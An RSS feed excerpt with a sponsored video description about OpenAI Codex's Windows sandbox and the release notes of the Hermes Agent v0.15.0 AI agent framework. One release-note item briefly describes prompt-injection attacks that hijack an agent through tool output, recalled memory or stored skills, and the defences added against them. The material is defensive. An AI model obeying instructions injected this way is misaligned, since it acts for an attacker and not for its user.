<guid isPermaLink="true">https://tsecurity.de/de/3563980/it-security-video/openai-wants-me-to-switch-back-to-windows/</guid>
<pubDate>Mon, 01 Jun 2026 20:03:11 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 138x - Views:2229 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/cGXAmnUabEY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Try OpenAI Codex on Windows (it's native now): https://ntck.co/codex<br />
<br />
I gave an AI control of my Windows PC. OpenAI made the Codex app Windows-native — it lives in PowerShell, and they built their own Windows security sandbox in 15,000 lines of Rust so the agent can't escape and nuke your machine. I used it to strip the bloat, lock down Windows Update, and even spin up a Hyper-V hacking lab... and somewhere in there I started to miss Windows again. So this is me asking an honest question: can Codex win me back?<br />
<br />
In this video, you'll learn what "Windows-native" actually means for an AI agent, how OpenAI's Codex sandbox isolates the agent using real Windows tools (ACLs, restricted tokens, firewall rules, and dedicated sandbox SIDs), and how to point Codex at your own machine to clean the adware, kill the nags, and stop Windows Update from undoing your work. Whether you're a Windows sysadmin living in Active Directory, a security nerd who loves a good sandbox, or just someone tired of Microsoft cramming junk into your OS — come nerd out with me.<br />
<br />
Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
<br />
RESOURCES / LINKS:<br />
🛠️ : Try Codex (sponsor): https://ntck.co/codex<br />
💻 : OpenAI Codex (the sandbox is open source): https://github.com/openai/codex<br />
📕 : How OpenAI built the Codex Windows sandbox (engineering deep-dive): https://openai.com/index/building-codex-windows-sandbox/<br />
📕 : Enable Hyper-V on Windows 11 Pro: https://learn.microsoft.com/virtualization/hyper-v-on-windows/<br />
🛠️: winget (Windows' built-in package manager): https://learn.microsoft.com/windows/package-manager/<br />
📕 : WSL is now open source: https://learn.microsoft.com/windows/wsl/<br />
<br />
TIMESTAMPS:<br />
0:00 - The messy desk confession (why I run a Mac AND a Windows PC)<br />
0:15 - OpenAI made Codex Windows-native — and 60,000 of you still run Windows<br />
1:35 - The real reason I left Windows (it was AI, not the bloat)<br />
2:52 - Installing the Codex app on Windows: sub-agents, plugins, automations<br />
4:56 - What "Windows-native" actually means: PowerShell vs WSL<br />
6:36 - Why letting an AI agent loose on Windows is terrifying<br />
6:56 - How OpenAI built their own Windows sandbox in 15,000 lines of Rust<br />
8:50 - The sandbox in action: sandbox users, SIDs, and icacls<br />
11:23 - Blocking the agent's internet with Windows Firewall rules<br />
12:22 - Codex permission modes: auto-review vs full access<br />
12:48 - Letting Codex safely clean my Downloads folder<br />
13:53 - God Mode + stripping Windows adware and bloatware<br />
15:44 - Six sub-agents build a Hyper-V hacking lab with Kali Linux<br />
17:29 - Stopping Windows Update from undoing your changes<br />
18:37 - The verdict: is Codex winning me back to Windows?<br />
20:05 - A prayer for you<br />
<br />
FEATURING:<br />
👤: Peter Steinberger (Codex power user, now at OpenAI): https://x.com/steipete<br />
<br />
**Sponsored by OpenAI<br />
<br />
SUPPORT NETWORKCHUCK:<br />
☕️ ☕️ : COFFEE and MERCH: https://ntck.co/coffee<br />
<br />
READY TO LEARN??<br />
🔥 🔥 :Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
📚 : CCNA Course: https://ntck.co/ccna<br />
<br />
FOLLOW ME EVERYWHERE:<br />
Instagram: https://www.instagram.com/networkchuck/<br />
X/Twitter: https://x.com/networkchuck<br />
Facebook: https://www.facebook.com/NetworkChuck/<br />
Join the Discord server: https://ntck.co/discord<br />
<br />
Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.<br />
<br />
#Codex #Windows11 #AI<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.15.0 (2026.5.28) — The Velocity Release]]></title>
<description><![CDATA[Hermes Agent v0.15.0 (v2026.5.28)
Release Date: May 28, 2026
Since v0.14.0: 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)

The Velocity Releas...]]></description>
<link>https://tsecurity.de/de/3555164/downloads/hermes-agent-v0150-2026528-the-velocity-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555164/downloads/hermes-agent-v0150-2026528-the-velocity-release/</guid>
<pubDate>Thu, 28 May 2026 20:01:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.15.0 (v2026.5.28)</h1>
<p><strong>Release Date:</strong> May 28, 2026<br>
<strong>Since v0.14.0:</strong> 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)</p>
<blockquote>
<p><strong>The Velocity Release.</strong> Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line <code>run_agent.py</code> collapses to 3,821 (-76%) across 14 cohesive <code>agent/*</code> modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, <code>hermes --version</code> flipping the head-to-head benchmark against Codex CLI. <code>session_search</code> is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth <code>hermes proxy</code> upstream, retired-May-15 model detection + <code>hermes migrate xai</code>, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>The Big Refactor — <code>run_agent.py</code> is no longer 16,000 lines</strong> — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under <code>agent/</code>. Behavior is unchanged: every extraction keeps a thin forwarder on <code>AIAgent</code>, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. (<a href="https://github.com/NousResearch/hermes-agent/pull/27248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27248/hovercard">#27248</a>)</p>
</li>
<li>
<p><strong>Kanban grew into a real multi-agent platform — 104 PRs end to end</strong> — Triage auto-decomposes one task into a tree of sub-tasks. <code>hermes kanban swarm</code> creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through <code>/workers/active</code>, <code>/runs/{id}</code>, and <code>/inspect</code> endpoints. (<a href="https://github.com/NousResearch/hermes-agent/pull/27572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27572/hovercard">#27572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28443/hovercard">#28443</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28364/hovercard">#28364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28394/hovercard">#28394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28462" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28462/hovercard">#28462</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28384/hovercard">#28384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28467" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28467/hovercard">#28467</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28455/hovercard">#28455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28452/hovercard">#28452</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28432/hovercard">#28432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28468/hovercard">#28468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28420/hovercard">#28420</a>)</p>
</li>
<li>
<p><strong>Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls</strong> — Three new optimization rounds: defer <code>openai._base_client</code> import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. <code>hermes --version</code> cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. (<a href="https://github.com/NousResearch/hermes-agent/pull/28864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28864/hovercard">#28864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28866/hovercard">#28866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28957/hovercard">#28957</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/29006" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29006/hovercard">#29006</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/29419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29419/hovercard">#29419</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30121/hovercard">#30121</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30609/hovercard">#30609</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31968/hovercard">#31968</a>)</p>
</li>
<li>
<p><strong><code>session_search</code> rebuilt — no LLM, no cost, 4,500× faster</strong> — The old <code>session_search</code> was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no <code>mode</code> parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. (<a href="https://github.com/NousResearch/hermes-agent/pull/27590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27590/hovercard">#27590</a>)</p>
</li>
<li>
<p><strong>Promptware defense — Brainworm-class attacks blocked at three chokepoints</strong> — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (<code>tools/threat_patterns.py</code>) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new <code>security-guidance</code> plugin that pattern-matches dangerous code writes. (<a href="https://github.com/NousResearch/hermes-agent/pull/32269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32269/hovercard">#32269</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33131/hovercard">#33131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/9151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9151/hovercard">#9151</a>)</p>
</li>
<li>
<p><strong>Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key</strong> — Stop keeping plaintext API keys in <code>~/.hermes/.env</code>. Install Bitwarden Secrets Manager (<code>bws</code> auto-installs lazily on first use), point Hermes at it with one bootstrap token (<code>BWS_ACCESS_TOKEN</code>), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip <code>secrets.bitwarden.override_existing: false</code> to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. (<a href="https://github.com/NousResearch/hermes-agent/pull/30035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30035/hovercard">#30035</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31378/hovercard">#31378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30364/hovercard">#30364</a>)</p>
</li>
<li>
<p><strong>ntfy as the 23rd messaging platform — push notifications without an account</strong> — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat <code>send_message</code> — to your phone, your watch, your desktop, your homelab. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/30625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30625/hovercard">#30625</a> → originally <a href="https://github.com/NousResearch/hermes-agent/pull/4043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4043/hovercard">#4043</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</p>
</li>
<li>
<p><strong>Skill bundles — <code>/&lt;name&gt;</code> loads multiple skills at once</strong> — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and <code>/writing-day</code> activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: <code>code-wiki</code> (Karpathy's LLM-Wiki, persistent indexed dev wiki), <code>openhands</code> (delegate to OpenHands for parallel coding agents), and <code>web-pentest</code> (OWASP-style web pentest recipes). (<a href="https://github.com/NousResearch/hermes-agent/pull/28373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28373/hovercard">#28373</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32345/hovercard">#32345</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32240/hovercard">#32240</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32265/hovercard">#32265</a>)</p>
</li>
<li>
<p><strong>TUI session orchestrator — multiple live sessions in one TUI window</strong> — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27642/hovercard">#27642</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32980/hovercard">#32980</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30084/hovercard">#30084</a>)</p>
</li>
<li>
<p><strong>Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin</strong> — Krea joins the image_gen lineup as a built-in plugin: <code>Krea 2 Medium</code> ($0.03) and <code>Krea 2 Large</code> ($0.06), auto-discovered, selectable via <code>hermes tools</code> → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into <code>plugins/image_gen/fal/</code>, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. (<a href="https://github.com/NousResearch/hermes-agent/pull/33236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33236/hovercard">#33236</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30380/hovercard">#30380</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33506/hovercard">#33506</a>)</p>
</li>
<li>
<p><strong>Nous-approved MCP catalog with interactive picker</strong> — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run <code>hermes mcp</code> and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to <code>~/.hermes/.env</code>. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. (<a href="https://github.com/NousResearch/hermes-agent/pull/30870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30870/hovercard">#30870</a>)</p>
</li>
<li>
<p><strong>OpenHands orchestration skill</strong> — A new optional skill under <code>optional-skills/autonomous-ai-agents/openhands/</code> lets the agent delegate coding tasks to the OpenHands CLI alongside <code>claude-code</code>, <code>codex</code>, and <code>opencode</code>. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and <code>/delegate</code> flows. (closes <a href="https://github.com/NousResearch/hermes-agent/issues/477" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/477/hovercard">#477</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>)</p>
</li>
<li>
<p><strong>Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening</strong> — Six interlocking xAI improvements:</p>
<ul>
<li><strong>xAI Web Search</strong> lands as a <code>plugins/web/xai/</code> provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or <code>XAI_API_KEY</code> credentials, no new env vars. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
<li><strong><code>hermes proxy</code> gains an xAI upstream</strong> — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. (<a href="https://github.com/NousResearch/hermes-agent/pull/28356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28356/hovercard">#28356</a>)</li>
<li><strong>May 15 model retirement detection</strong> — <code>grok-4</code>, <code>grok-4-fast{,-reasoning,-non-reasoning}</code>, <code>grok-3</code>, <code>grok-code-fast-1</code>, <code>grok-imagine-image-pro</code> etc. are detected in doctor and chat startup, with <code>hermes migrate xai</code> to one-shot config migration to the supported model. No more silent 404s after the retirement date. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li><strong>Opt-in <code>auto_speech_tags</code></strong> for xAI TTS — inserts light <code>[pause]</code> tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li><strong><code>xai-oauth</code> <code>base_url</code> pinned to <code>x.ai</code> origin</strong> — closes a silent credential-leak vector where <code>XAI_BASE_URL</code> could repoint OAuth-authenticated inference to an attacker-controlled host. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li><strong>OpenAI-style execution guidance applied to Grok models</strong> — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>Plus <code>x_search</code> degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE <code>code_challenge</code> round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and <code>WKE=unauthenticated</code> honor at both classifier sites. (<a href="https://github.com/NousResearch/hermes-agent/pull/29484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29484/hovercard">#29484</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28351/hovercard">#28351</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/27560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27560/hovercard">#27560</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30619/hovercard">#30619</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30872/hovercard">#30872</a>)</li>
</ul>
</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>The Big Refactor — <code>run_agent.py</code> 16k → 3.8k</h3>
<ul>
<li><code>run_agent.py</code> from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive <code>agent/*</code> modules. <code>run_conversation</code> alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on <code>AIAgent</code>, every test-patch path is preserved, every external caller stays compatible. (<a href="https://github.com/NousResearch/hermes-agent/pull/27248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27248/hovercard">#27248</a>)</li>
</ul>
<h3>Agent loop &amp; conversation</h3>
<ul>
<li>Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/26811" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26811/hovercard">#26811</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/26998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26998/hovercard">#26998</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27625/hovercard">#27625</a>)</li>
<li>Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). (<a href="https://github.com/NousResearch/hermes-agent/pull/33816" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33816/hovercard">#33816</a>)</li>
<li>Host contract for external context engines — condenses 5 prior PRs into one extension surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/33750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33750/hovercard">#33750</a>)</li>
<li>Fallback immediately on provider content-policy blocks. (<a href="https://github.com/NousResearch/hermes-agent/pull/33883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33883/hovercard">#33883</a>)</li>
<li>Re-pad <code>reasoning_content</code> on cross-provider fallback to require-side providers. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/33784" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33784/hovercard">#33784</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33795" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33795/hovercard">#33795</a>)</li>
<li>Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. (<a href="https://github.com/NousResearch/hermes-agent/pull/32273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32273/hovercard">#32273</a>)</li>
<li>Single-knob native vision for custom-provider models. (<a href="https://github.com/NousResearch/hermes-agent/pull/29679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29679/hovercard">#29679</a>)</li>
<li>Background review fork isolated from external memory plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/27190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27190/hovercard">#27190</a>)</li>
<li>Background review inherits parent toolset config for <code>tools[]</code> cache parity. (<a href="https://github.com/NousResearch/hermes-agent/pull/29704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29704/hovercard">#29704</a>)</li>
<li>Recover from providers returning list-type tool content. (<a href="https://github.com/NousResearch/hermes-agent/pull/30259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30259/hovercard">#30259</a>)</li>
<li>Treat partial-stream stub responses as length truncation rather than clean stop. (<a href="https://github.com/NousResearch/hermes-agent/pull/30998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30998/hovercard">#30998</a>)</li>
<li>OpenAI execution guidance applied to xAI Grok / xai-oauth. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>ContextVars propagate to concurrent tool worker threads.</li>
<li>Preload <code>jiter</code> native parser. (<a href="https://github.com/NousResearch/hermes-agent/pull/33692" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33692/hovercard">#33692</a>)</li>
<li>Expose context engine tools with saved toolsets. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/31194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31194/hovercard">#31194</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33719" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33719/hovercard">#33719</a>)</li>
</ul>
<h3>Sessions &amp; memory</h3>
<ul>
<li><code>session_search</code> rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. (<a href="https://github.com/NousResearch/hermes-agent/pull/27590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27590/hovercard">#27590</a>)</li>
<li>Salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29182/hovercard">#29182</a> — opt-in JSON snapshot writer for sessions. (<a href="https://github.com/NousResearch/hermes-agent/pull/29278" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29278/hovercard">#29278</a>)</li>
<li>Persist <code>platform_message_id</code> for recall across gateway restarts. (<a href="https://github.com/NousResearch/hermes-agent/pull/29449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29449/hovercard">#29449</a>)</li>
<li>Inline memory-context mentions stay visible in conversation. (<a href="https://github.com/NousResearch/hermes-agent/pull/28132" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28132/hovercard">#28132</a>)</li>
<li>Recalled memory labeled informational, not authoritative. (<a href="https://github.com/NousResearch/hermes-agent/pull/28583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28583/hovercard">#28583</a>)</li>
<li>Memory + context-engine tool injection gated on <code>enabled_toolsets</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30177/hovercard">#30177</a>)</li>
